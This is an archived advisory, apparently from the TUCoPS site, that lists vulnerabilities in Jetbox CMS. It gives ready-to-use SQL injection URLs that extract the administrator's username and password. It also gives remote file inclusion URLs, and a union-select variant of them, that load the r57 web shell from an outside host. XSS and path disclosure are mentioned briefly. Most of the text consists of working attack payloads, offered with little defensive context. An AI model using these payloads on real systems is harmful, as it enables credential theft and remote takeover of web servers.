Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: CMS / Portals :: b06-4662.htm

Jetbox CMS multiple injections and vulns



Multible injections and vulnerabilities in Jetbox CMS
Multible injections and vulnerabilities in Jetbox CMS



Hello,,=0D
=0D
Multible Injections in Jetbox CMS =0D
=0D
Discovered By : HACKERS PAL & mohajali=0D
Copy rights : HACKERS PAL & mohajali=0D
Website : http://www.soqor.net=0D 
Email Address : security@soqor.net=0D 
=0D
This Contains multible injections and vulnerabilities in Jetbox CMS=0D
=0D
/*********************************************************************/=0D
sql injections=0D
=0D
if magic_quotes_gpc = off=0D
=0D
index.php?view=-1'%20union%20select%201,tablename,3,4,5,6,7,8,9,10,11,12%20from%20navigation%20where%20'1'='1=0D
=0D
and see the error for the including=0D
for index.php?view=-1'%20union%20select%201,login,3,4,5,6,7,8,9,10,11,12%20from%20user%20where%20uid=1/*=0D
=0D
you will see like=0D
Warning: main(admin) =0D
=0D
and index.php?view=-1'%20union%20select%201,user_password,3,4,5,6,7,8,9,10,11,12%20from%20user%20where%20uid=1/*=0D
it will be like=0D
Warning: main(admin1)=0D
=0D
that means admin is the username and admin1 is the password=0D
=0D
- - - - - - - -=0D
=0D
index.php?view=outputs&item=-1'%20union%20SELECT%201,2,3,4,5,6,7,8,login,user_password,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20user%20where%20uid=1/*=0D
=0D
Click view source ,,=0D
you will see somthing like this=0D
=0D
=0D
=0D
the first is 'admin' it's the user name for the administrator and the second is 'admin1' it's the password=0D
=0D
/*********************************************************************/=0D
Remote file including=0D
=0D
includes/phpthumb.php?src=1&includes_path=http://www.soqor.net/tools/r57.txt?=0D 
includes/phpdig/includes/config.php?relative_script_path=http://www.soqor.net/tools/r57.txt?=0D 
=0D
and this sql injection can be used for file inclusion if magic_quotes_gpc = off=0D
index.php?view=-1'%20union%20select%201,'http://www.soqor.net/tools/r57.txt?',3,4,5,6,7,8,9,10,11,12%20from%20navigation%20where%20'1'='1=0D 
=0D
/*********************************************************************/=0D
=0D
xss are too many=0D
Example ,,=0D
includes/phpthumb.php?OriginalImageData==0D
=0D
/*********************************************************************/=0D
Full path disclore,,=0D
=0D
Try To open any file directly by the browser=0D
=0D
/*********************************************************************/=0D
WwW.SoQoR.NeT 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH